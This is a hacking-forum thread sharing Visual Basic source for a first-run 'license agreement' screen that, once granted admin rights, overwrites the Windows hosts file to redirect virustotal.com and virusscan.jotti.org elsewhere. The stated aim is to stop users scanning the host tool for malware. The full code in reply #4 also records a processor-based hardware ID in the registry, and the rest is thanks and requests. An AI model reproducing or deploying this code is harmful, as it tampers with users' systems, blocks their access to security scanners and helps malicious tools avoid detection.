Login Register






[SOURCE] License Agreement and VirusTotal block - Must Have filter_list
Author
Message
[SOURCE] License Agreement and VirusTotal block - Must Have #1
License Agreement and auto block VirusTotal and Jotti Block

What will this program do?
It will show on the first time run of the app a License Agreement with some text that you do not scan on virustotal and all other sites.
It will also state that it will make a change to your host file and redirect the user to novirusthanks or whatever website you enter in it.
(They won't read the License Agreement anyways and accept it with their eyes closed, so why not save your tool from them)

It will also make a string in the reg so that when the user opens the tool for the second time it won't show the LA again.

Add this code to your tool that you make in Microsoft Visual Basic 2008 with the use of a splash screen.

It's pretty simple to implant in your project and can be done in a matter of minutes.

This is what it would look like when you start the tool the first time:
[Image: lascreen.jpg]
Second time it won't show it anymore.
Text in the picture is demo text, change it as you like

Futures:
  • License Agreement startup
  • Block certain sites like VirusTotal & Jotti in the hostfile
  • Registry add-on
  • Registry check
  • On the first run it checks if there are admin rights, and if the user doesn't has admin rights it will show a msg box

Credits:
-Me Myself and I and my laptop.

FUD Scan:
Status: CLEAN
Spoiler:
It's only the Source code, no executables attached.



Download the source code here:
Source code


Greets and enjoy
BestRacs


(This post was last modified: 08-27-2011, 08:07 PM by Shawn_Rogers.)
...
Support me getting L33T

Karma is a bitch? Well just make sure that bitch is beautiful..

Reply

RE: [FREE] License Agreement and VirusTotal block - Must Have #2
Thanks for the source nice share Smile
Pierce the life fibers with your drill.

Reply

RE: [FREE] License Agreement and VirusTotal block - Must Have #3
(08-27-2011, 05:20 PM)1234Darkmaster Wrote: Thanks for the source nice share Smile

Your welcome.
...
Support me getting L33T

Karma is a bitch? Well just make sure that bitch is beautiful..

Reply

RE: [SOURCE] License Agreement and VirusTotal block - Must Have #4

Another solution is to enable the UAC and add the shield to the button.

Change button 1 to this:
Code:
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click Dim psi As New ProcessStartInfo psi.Verb = "runas" psi.UseShellExecute = True psi.FileName = Application.ExecutablePath Try If My.User.IsInRole(ApplicationServices.BuiltInRole.Administrator) Then '------------------------ Start add to hostfile and redirect '------------------------ 88.165.234.50 = novirusthanks website Dim thepath As String = Environment.GetFolderPath(Environment.SpecialFolder.System) Dim FILE_NAME As String = (thepath & "\drivers\etc\hosts") TextBox1.Text = TextBox1.Text + "188.165.234.50 www.virustotal.com #Use novirusthanks and check the box Do not distribute the sample" + Environment.NewLine TextBox1.Text = TextBox1.Text + "188.165.234.50 virusscan.jotti.org #Use novirusthanks and check the box Do not distribute the sample" + Environment.NewLine If System.IO.File.Exists(FILE_NAME) = True Then Dim objWriter As New System.IO.StreamWriter(FILE_NAME) objWriter.Write(TextBox1.Text) objWriter.Close() End If '------------------------ End add to hostfile and redirect '------------------------ Start HWID and Register Check '------------------------ Textbox2 needs to be there also Dim HWID As String = String.Empty Dim mc As New ManagementClass("win32_processor") Dim moc As ManagementObjectCollection = mc.GetInstances() For Each mo As ManagementObject In moc If HWID = "" Then HWID = mo.Properties("processorID").Value.ToString() Exit For End If Next My.Computer.Registry.CurrentUser.CreateSubKey("software\APPNAME") '<- Change appname to the name of your tool "This will be your new key in the register" My.Computer.Registry.SetValue("HKEY_CURRENT_USER\software\APPNAME", "APPNAME_NAME", HWID) '<- Change appname and change name into the sign value you like to use Form2.Show() '<--- This is your second form "Your application" Me.Hide() '------------------------ End HWID and Register Check Else '------------------------ Start the UAC process Dim proc As Process = Process.Start(psi) SplashScreen1.Close() Close() End If Catch ex As Exception ' Do Nothing End Try '------------------------ End the UAC process End Sub

And create a module called UacStuff and add this code:
Code:
Imports System.Runtime.InteropServices Module UacStuff Declare Auto Function SendMessage Lib "user32.dll" _ (ByVal hWnd As HandleRef, ByVal msg As Int32, _ ByVal wParam As IntPtr, ByVal lParam As IntPtr) As Int32 ' Make the button display the UAC shield. Public Sub AddShieldToButton(ByVal btn As Button) Const BCM_SETSHIELD As Int32 = &H160C btn.FlatStyle = Windows.Forms.FlatStyle.System SendMessage(New HandleRef(btn, btn.Handle), _ BCM_SETSHIELD, IntPtr.Zero, CType(1, IntPtr)) End Sub ' Return a bitmap containing the UAC shield. Public Function GetUacShieldImage() As Bitmap Static shield_bm As Bitmap = Nothing If shield_bm Is Nothing Then Const WID As Integer = 50 Const HGT As Integer = 50 Const MARGIN As Integer = 4 ' Make the button. For some reason, it must ' have text or the UAC shield won't appear. Dim btn As New Button btn.Text = " " btn.Size = New System.Drawing.Size(WID, HGT) AddShieldToButton(btn) ' Draw the button onto a bitmap. Dim bm As New Bitmap(WID, HGT) btn.Refresh() btn.DrawToBitmap(bm, New Rectangle(0, 0, WID, HGT)) ' Find the part containing the shield. Dim min_x As Integer = WID Dim max_x As Integer = 0 Dim min_y As Integer = WID Dim max_y As Integer = 0 ' Fill on the left. For y As Integer = MARGIN To HGT - MARGIN - 1 ' Get the leftmost pixel's color. Dim target_color As Color = bm.GetPixel(MARGIN, y) ' Fill in with this color as long as we see the target. For x As Integer = MARGIN To WID - MARGIN - 1 ' See if this pixel is part of the shield. If bm.GetPixel(x, y).Equals(target_color) Then ' It's not part of the shield. ' Clear the pixel. bm.SetPixel(x, y, Color.Transparent) Else ' It's part of the shield. If min_y > y Then min_y = y If min_x > x Then min_x = x If max_y < y Then max_y = y If max_x < x Then max_x = x End If Next x Next y ' Clip out the shield part. Dim shield_wid As Integer = max_x - min_x + 1 Dim shield_hgt As Integer = max_y - min_y + 1 shield_bm = New Bitmap(shield_wid, shield_hgt) Dim shield_gr As Graphics = Graphics.FromImage(shield_bm) shield_gr.DrawImage(bm, 0, 0, _ New Rectangle(min_x, min_y, shield_wid, shield_hgt), _ GraphicsUnit.Pixel) End If Return shield_bm End Function End Module

Add this code to your form1 load:
This shows the UAC shield on your button.
Code:
AddShieldToButton(Button1)

Don't forget to close all the forms on your close buttons in your app.
Example:
Code:
Private Sub ExitApp_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles ExitApp.Click SplashScreen1.Close() Form1.Close() Me.Close() End Sub
...
Support me getting L33T

Karma is a bitch? Well just make sure that bitch is beautiful..

Reply

RE: [SOURCE] License Agreement and VirusTotal block - Must Have #5
@BestRacs

Nice Share . . . . . . . .

Reply

RE: [SOURCE] License Agreement and VirusTotal block - Must Have #6
Thanks for sharing with us. Brother I can download the source can you pm me with the link?

Reply